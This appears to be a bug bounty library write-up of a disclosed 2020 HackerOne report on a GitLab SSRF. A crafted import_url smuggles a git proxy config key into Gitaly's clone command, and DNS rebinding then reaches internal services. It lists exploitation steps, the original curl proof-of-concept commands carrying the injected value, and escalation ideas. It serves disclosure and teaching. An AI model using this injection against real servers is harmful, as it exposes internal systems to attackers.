# Injection of `http.<url>.*` git config settings leading to SSRF

Crafted import URL injects git http.<url>.proxy config via -c flag, letting attacker redirect GitLab's git clone through an internal proxy for SSRF.

- Payout: $3,000
- Severity: high
- Program: GitLab
- Found by: vakzz
- Disclosed: 2020-09-08
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/855276
- Library page: https://bugbountylibrary.com/r/h1%3A855276
- Tags: area:web domain:web impact:internal-access kind:bounty platform:hackerone sev:high technique:chained technique:source-review vuln:misconfiguration vuln:ssrf

**Target:** GitLab repository import/mirror (Gitaly create_from_url git clone)
**Root cause:** Gitaly builds `-c http.<url>.extraHeader=...` using the attacker-controlled URL verbatim; a URL containing `.proxy=` injects an arbitrary git http config key instead of extraHeader.
**Steps:**
1. Create short-TTL DNS entry and a server on target port returning 200 OK.
2. POST `/api/v4/projects?import_url=http://user@google.com/.proxy=http://proxy.aw.rs:8500&name=proxy4` with token.
3. Verify `.git/config` now has `[http "http://google.com/"] proxy = http://proxy.aw.rs:8500.extraHeader=...`.
4. Repoint DNS to 127.0.0.1 and wait for propagation.
5. PUT `/api/v4/projects/204?mirror=true&import_url=http://google.com/v1/config?` to trigger clone through proxy.
6. Read `import_error` from project API to observe SSRF response (e.g. consul 405).
**How found:** Code reading of Gitaly create_from_url.go showed URL concatenated into a `-c` git config flag; realized URL could contain git config keys like `.proxy=` to override the intended extraHeader.
**Exploitation:** Attacker controls import_url; injects http.<url>.proxy pointing at attacker proxy, then repoints DNS to 127.0.0.1 so git clone routes internal requests through the proxy, reading responses via import_error.
**Escalation:** Notes socks4/socks5 proxies could target redis or leak internal DNS; http.cookieFile considered but path not controllable due to appended .extraHeader=.
**Insight:** When a URL is embedded into a `-c key=value` git/CLI flag, test whether URL characters can inject additional config keys (e.g. `.proxy=`, `.cookieFile=`) rather than just a value.

## Proof of concept (copied exactly from the original report)

**Crafted import_url injecting http.proxy config**

```
curl -H "Authorization: Bearer $TOKEN" -v -XPOST 'http://gitlab-vm.local/api/v4/projects?import_url=http://user@google.com/.proxy=http://proxy.aw.rs:8500&name=proxy4'
```

**Mirror request triggering SSRF via proxy**

```
curl -H "Authorization: Bearer $TOKEN" -v -XPUT 'http://gitlab-vm.local/api/v4/projects/204?mirror=true&import_url=http://google.com/v1/config?'
```

**Resulting .git/config with injected proxy**

```
[http "http://google.com/"]
        proxy = http://proxy.aw.rs:8500.extraHeader=Authorization: Basic dXNlcg==
```

